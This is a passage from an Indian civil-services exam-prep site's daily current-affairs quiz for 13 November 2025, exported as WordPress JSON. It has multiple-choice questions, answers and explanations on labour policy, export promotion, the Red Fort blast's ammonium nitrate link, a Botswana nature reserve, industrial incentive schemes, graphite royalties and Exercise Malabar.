{"id":2736,"date":"2025-11-15T03:57:46","date_gmt":"2025-11-15T03:57:46","guid":{"rendered":"https:\/\/iasquest.com\/?p=2736"},"modified":"2026-02-11T18:48:07","modified_gmt":"2026-02-11T18:48:07","slug":"daily-current-affairs-13-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-13-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 13.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. The \u201cShram Shakti Niti 2025\u201d recently seen in news is primarily associated with:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) India\u2019s policy framework for labour welfare and social security reform.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) A new national policy on renewable energy skill development.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) The government\u2019s AI framework for green manufacturing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) A scheme for formalising micro-enterprises through digital credit.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Answer: (a) India\u2019s policy framework for labour welfare and social security reform.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>In NEWS:<\/strong> Exploited workers, a labour policy\u2019s empty promises &#8211; The draft Shram Shakti Niti 2025 further exposes the gaps in India\u2019s labour landscape<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>The \u201cShram Shakti Niti 2025\u201d:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li><strong>Released by:<\/strong> Ministry of Labour &amp; Employment (MoLE), 2025 (Draft for public consultation).<\/li>\n\n\n\n<li><strong>Vision:<\/strong> Build a <em>\u201cFair, Inclusive and Future-Ready Labour Ecosystem\u201d<\/em> aligned with <strong>Viksit Bharat @ 2047<\/strong>.<\/li>\n\n\n\n<li><strong>Nature:<\/strong> India\u2019s <strong>first integrated National Labour &amp; Employment Policy<\/strong>.<\/li>\n\n\n\n<li><strong>Approach:<\/strong> Shifts focus from <em>regulation<\/em> \u2192 <em>facilitation<\/em> \u2192 <em>empowerment<\/em>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Key Objectives \/ Pillars<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Universal Social Security<\/strong><ul><li>Coverage for all workers \u2014 formal, informal, gig, migrant.<\/li><\/ul><ul><li>Proposes <em>portable, lifelong<\/em> social-security accounts.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Integration with <strong>e-Shram<\/strong>, <strong>ESIC<\/strong>, and <strong>EPFO<\/strong> frameworks.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Employment Generation &amp; Future-Readiness<\/strong><ul><li>Skill-matching through a <em>Digital Employment Stack<\/em>.<\/li><\/ul><ul><li>Promote <em>green jobs, digital jobs<\/em>, and lifelong skilling.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Transform <strong>National Career Service (NCS)<\/strong> into <em>Digital Public Infrastructure (DPI) for employment<\/em>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Women &amp; Youth Empowerment<\/strong><ul><li>Target: <strong>35% female labour-force participation by 2030<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Incentives for flexible work, childcare support, and safe workplaces.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Ease of Compliance &amp; Labour Governance Reform<\/strong><ul><li>Simplify inspections via <em>risk-based digital systems<\/em>.<\/li><\/ul><ul><li>Encourage self-certification, single-window compliance.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Labour Ministry\u2019s role redefined from <strong>regulator \u2192 job facilitator<\/strong>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Occupational Safety, Health &amp; Working Conditions<\/strong>\n<ul class=\"wp-block-list\">\n<li>Strengthen safety audits, OSH codes, and data-driven monitoring.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Institutional &amp; Governance Framework<\/strong><ul><li><strong>National Labour &amp; Employment Policy Implementation Council (NLPI)<\/strong> at Centre.<\/li><\/ul><ul><li><strong>State Labour Missions<\/strong> and <strong>District Labour &amp; Employment Resource Centres (DLERCs)<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Promotes <strong>cooperative federalism<\/strong> and convergence across ministries.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Digital and Green Transition<\/strong><ul><li>Leverage AI, data analytics, and digital worker identity.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Support green enterprises, circular economy jobs.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. In India, which one of the following compiles information on industrial disputes, closures, retrenchments and lay-offs in factories employing workers?<\/strong> <br><br>(a) Central Statistics Office <br>(b) Department for Promotion of Industry and Internal Trade <br><strong>(c) Labour Bureau<\/strong> <br>(d) National Technical Manpower Information System<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-14 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/exploited-workers-a-labour-policys-empty-promises\/article70267861.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/exploited-workers-a-labour-policys-empty-promises\/article70267861.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>2. Which of the following statements regarding the Export Promotion Mission (EPM) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">1. The Mission aims to strengthen India\u2019s export competitiveness, particularly for MSMEs, first-time exporters, and labour-intensive sectors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">2. It is implemented under the Department of Commerce in collaboration with the Ministry of MSME and the Ministry of Finance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">3. It consolidates existing schemes such as the Interest Equalisation Scheme (IES) and the Market Access Initiative (MAI).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cabinet approves Export Promotion Mission to strengthen India\u2019s export ecosystem with an outlay of Rs.25,060 crore<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Export Promotion Mission (EPM):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>The <strong>Export Promotion Mission (EPM)<\/strong> was approved by the <strong>Union Cabinet in 2025<\/strong> as a flagship initiative from the <strong>Union Budget 2025\u201326<\/strong>.<\/li>\n\n\n\n<li>The total financial <strong>outlay is \u20b925,060 crore<\/strong> for the period <strong>FY 2025\u201326 to FY 2030\u201331<\/strong>.<\/li>\n\n\n\n<li><strong>Objective:<\/strong> To strengthen India\u2019s export competitiveness, especially for <strong>MSMEs, first-time exporters, and labour-intensive sectors<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The Mission replaces <strong>multiple fragmented export schemes<\/strong> with a <strong>single, outcome-based and adaptive mechanism<\/strong>.<\/li>\n\n\n\n<li><strong>Nodal Ministry:<\/strong> Department of Commerce, in collaboration with the <strong>Ministry of MSME<\/strong> and <strong>Ministry of Finance<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The Mission operates under a <strong>collaborative framework<\/strong> involving <strong>Financial Institutions, Export Promotion Councils, Commodity Boards, and State Governments<\/strong>.<\/li>\n\n\n\n<li><strong>Implementing Agency:<\/strong> <strong>Directorate General of Foreign Trade (DGFT)<\/strong>.<\/li>\n\n\n\n<li>All processes \u2014 from <strong>application to disbursal<\/strong> \u2014 will be managed through a <strong>dedicated digital platform<\/strong> integrated with existing trade systems.<\/li>\n\n\n\n<li>The Mission consists of <strong>two integrated sub-schemes<\/strong>:<ul><li><strong>NIRYAT PROTSAHAN:<\/strong> Focus on affordable <strong>trade finance<\/strong> (interest subvention, export factoring, collateral guarantees, credit enhancement, etc.)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>NIRYAT DISHA:<\/strong> Focus on <strong>non-financial enablers<\/strong> (export quality support, branding, packaging, trade fairs, logistics, and capacity building).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The EPM <strong>consolidates<\/strong> existing schemes such as the <strong>Interest Equalisation Scheme (IES)<\/strong> and <strong>Market Access Initiative (MAI)<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement-I:<\/strong> India accounts for 32% of global export of goods. <br><strong>Statement-II:<\/strong> Many local companies and some foreign companies operating in India have taken advantage of India\u2019s Production-linked Incentive\u2019 scheme. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>[a] Both Statement-I and Statement-II are correct and Statement-ll is the correct explanation for Statement-I. <br>b] Both Statement-I and Statement-II are correct and Statement-l is not the correct explanation for Statement-I. <br>[c] Statement-l is correct but Statement-II is incorrect. <br><strong>[d] Statement-I is incorrect but Statement-II is correct.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-29 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189381\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189381<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>3. Which among the following can become highly explosive when mixed with fuel oil?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(a) Ammonium nitrate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(b) Sodium chloride<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(c) Calcium carbonate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(d) Potassium sulfate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Answer: (a) Ammonium nitrate<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>The Delhi Police\u2019s Special Cell is investigating a possible connection between the <strong>Red Fort blast<\/strong> and a <strong>358 kg ammonium nitrate haul<\/strong> seized in <strong>Faridabad<\/strong>.<\/li>\n\n\n\n<li>Forensic analysis aims to determine whether the same explosive chemical was used in both cases.<\/li>\n\n\n\n<li>This case revives concerns about <strong>industrial chemicals being diverted for terror use<\/strong>, a key issue in India\u2019s <strong>internal security and counter-terrorism framework<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Ammonium Nitrate &#8211; Explosive nature:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>Not explosive by itself \u2014 becomes highly explosive when mixed with fuel oil or other accelerants like Ammonium Nitrate Fuel Oil (ANFO). <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>Can cause massive damage, as seen in <strong>Beirut (2020)<\/strong> and several Indian blasts (Hyderabad 2013, Pune 2010).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q.What is the common characteristic of the chemical substances generally known as CL-20, HMX and LLM-105, which are sometimes talked about in media?<\/strong> <br><br>(a) These are alternatives to hydrofluorocarbon refrigerants\u00a0\u00a0 <br><strong>(b) These are explosives in military weapons\u00a0 <\/strong>\u00a0 <br>(c) These are high-energy fuels for cruise missiles\u00a0\u00a0 <br>(d) These are fuels for rocket propulsion<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-41 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/cities\/delhi\/red-fort-blast-case-why-investigators-are-tracking-ammonium-nitrate-link-between-delhi-blast-and-faridabad-haul-10362059\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/cities\/delhi\/red-fort-blast-case-why-investigators-are-tracking-ammonium-nitrate-link-between-delhi-blast-and-faridabad-haul-10362059\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>4. The Mokolodi Nature Reserve is located in<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(a) Angola<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(b) Botswana<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(c)Namibia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(d) Egypt<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Answer: (b) Botswana<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li>The President of India, Smt. Droupadi Murmu, and the President of Botswana, H.E. Advocate Duma Gideon Boko, visited the Mokolodi Nature Reserve near Gaborone on the morning of November 13, 2025.<\/li>\n\n\n\n<li>During their visit, the two Presidents witnessed the release of captured cheetahs from the Ghanzi region of Botswana into the quarantine facility at Mokolodi Nature Reserve.<\/li>\n\n\n\n<li>This event marked Botswana\u2019s symbolic donation of eight cheetahs to India under the framework of Project Cheetah, a flagship conservation initiative of the Government of India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Mokolodi Nature Reserve:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li>Mokolodi Nature Reserve is a well-known private, non-profit wildlife reserve located near Gaborone, the capital city of Botswana. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The reserve is home to a wide range of indigenous African wildlife species, including giraffes, zebras, impalas, kudus, warthogs, wildebeests, hippos, and crocodiles.<\/li>\n\n\n\n<li>It also provides a sanctuary for white rhinoceroses, one of the key conservation species in the park.<\/li>\n\n\n\n<li>Leopards, cheetahs, and hyenas are occasionally sighted, though they are more elusive.<\/li>\n\n\n\n<li>The area supports diverse birdlife, making it a popular destination for birdwatching enthusiasts.<\/li>\n\n\n\n<li>The vegetation primarily consists of thornveld savanna, characterized by acacia trees, shrubs, and grassland ecosystems typical of Botswana\u2019s semi-arid climate.<\/li>\n\n\n\n<li>Mokolodi Nature Reserve has become a flagship model for private conservation in Botswana, demonstrating how wildlife protection and education can coexist sustainably.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Recently there was a proposal to translocate some of the lions from their natural habitat in Gujarat to which one of the following sites?<\/strong> <br><br>(a) Corbett National Park <br>(b) Kuno Palpur Wildlife Sanctuary <br>(c) Mudumalai Wildlife Sanctuary <br>(d) Sariska National Park<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-53 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/symbolic-handover-of-8-cheetahs-to-droupadi-murmu-at-botswanas-nature-reserve\/article70274688.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/symbolic-handover-of-8-cheetahs-to-droupadi-murmu-at-botswanas-nature-reserve\/article70274688.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>5. Consider the following statements with respect to the Production Linked Incentive (PLI) Scheme for White Goods:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">I. It is implemented by the Department for Promotion of Industry and Internal Trade (DPIIT).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">II. The scheme covers both air conditioner components and LED components.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Answer: (c) Both I and II<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>In NEWS: <\/strong>13 Companies file applications under PLI Scheme for White Goods (ACs &amp; LED Lights) with committed investment of Rs. 1,914 crore<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>PLI Scheme for White Goods:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>The Production Linked Incentive (PLI) Scheme for White Goods was approved by the Union Cabinet chaired by Prime Minister Shri Narendra Modi on 7th April 2021.<\/li>\n\n\n\n<li><strong>The Department for Promotion of Industry and Internal Trade (DPIIT) under the Ministry of Commerce and Industry<\/strong> is the implementing agency for this scheme. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The scheme has a total financial outlay of \u20b96,238 crore, to be disbursed over a period of five years.<\/li>\n\n\n\n<li>The objective of the PLI Scheme for White Goods is to create a complete component ecosystem for Air Conditioners (ACs) and LED Lights in India.<\/li>\n\n\n\n<li>The scheme aims to enhance domestic manufacturing, reduce import dependency, and promote exports of components and sub-assemblies of ACs and LED products.<\/li>\n\n\n\n<li>It seeks to increase domestic value addition from the current 15\u201320 per cent to about 75\u201380 per cent, thereby strengthening India\u2019s manufacturing capabilities.<\/li>\n\n\n\n<li>The scheme provides incentives on incremental sales of goods manufactured in India to eligible companies that invest in the target sectors.<\/li>\n\n\n\n<li>The incentive is linked to performance parameters such as incremental sales and investment, ensuring accountability and results-based support.<\/li>\n\n\n\n<li><strong>The scheme covers two major segments:<\/strong><ul><li><strong>Air Conditioner Components:<\/strong> Compressors, motors, copper tubes, aluminium stock, heat exchangers, control assemblies, and other sub-assemblies.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>LED Components: <\/strong>LED chips, drivers, PCB assemblies, heat sinks, and other electronic parts. <strong>Hence statement II is correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The PLI scheme encourages the setting up of greenfield manufacturing units and expansion of existing facilities to promote large-scale production.<\/li>\n\n\n\n<li>It also aims to attract global component manufacturers to India and integrate them into the domestic supply chain.<\/li>\n\n\n\n<li>The scheme is designed to generate large-scale employment and boost skill development in manufacturing and allied sectors.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider, the following statements:<\/strong> <br><br><strong>Statement-I:<\/strong> India accounts for 3.2% of global export of goods. <br><strong>Statement-II:<\/strong> Many local companies and some foreign companies operating in India have taken advantage of India&#8217;s \u2018Production-linked Incentive\u2019 scheme. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I <br>(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I <br>(c) Statement-I is correct but Statement-II is incorrect <br><strong>(d) Statement-I is incorrect but Statement-II is correct<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-67 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189520\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189520<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>6. Consider the following statements about Graphite mining in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">1. India is largely self-sufficient in Graphite production as it exports more than it imports.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">2. Graphite with higher fixed-carbon content attracts a lower royalty rate under the new structure.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">3. The royalty for Graphite now depends on its grade, measured by fixed-carbon percentage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(d) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cabinet approves rationalization of royalty rates of Graphite, Caesium, Rubidium and Zirconium minerals critical for Green Energy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>The Cabinet approved revised royalty rates for four minerals:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>Caesium: 2 % of Average Sale Price (ASP) of caesium metal contained in the ore.<\/li>\n\n\n\n<li>Rubidium: 2 % of ASP of rubidium metal contained in the ore.<\/li>\n\n\n\n<li>Zirconium: 1 % of ASP of zirconium metal contained in the ore.<\/li>\n\n\n\n<li>Graphite: For graphite with \u2265 80 % fixed carbon \u2192 2 % of ASP on ad valorem basis; for less than 80 % fixed carbon \u2192 4 % of ASP on ad valorem basis.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Graphite in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>India is not self-sufficient in graphite production. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Around 60% of India\u2019s graphite demand is met through imports, mainly from China and other countries.<\/li>\n\n\n\n<li>Domestic production remains limited due to low-grade deposits and underdeveloped mining.<\/li>\n\n\n\n<li>The Cabinet in November 2025 approved 2% royalty for graphite with 80% or more fixed carbon, and 4% for graphite with less than 80% fixed carbon.<\/li>\n\n\n\n<li>Hence, higher-grade graphite (more carbon) attracts lower royalty, encouraging exploration and production of high-quality ore. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The royalty for Graphite now depends on its grade, measured by fixed-carbon percentage. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Earlier, royalty was charged on a per-tonne basis, regardless of grade.<\/li>\n\n\n\n<li>Under the new system, royalty is ad valorem (as a percentage of the average sale price) and linked to the grade of graphite, measured by fixed-carbon content.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement-I:<\/strong> India, despite having uranium deposits, depends on coal for most its electricity production. <br><strong>Statement-II:<\/strong> Uranium, enriched to the extent at least 60%, is required for the production of electricity. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I <br>(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I <br><strong>(c) Statement-I is correct but Statement-II is incorrect<\/strong> <br>(d) Statement-I is incorrect but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-84 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189392\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189392<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>7. With reference to Exercise Malabar 2025, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">1. It was initially a trilateral exercise between India, Japan, and the United States.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">2. Australia joined the exercise as a permanent member in 2020.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color 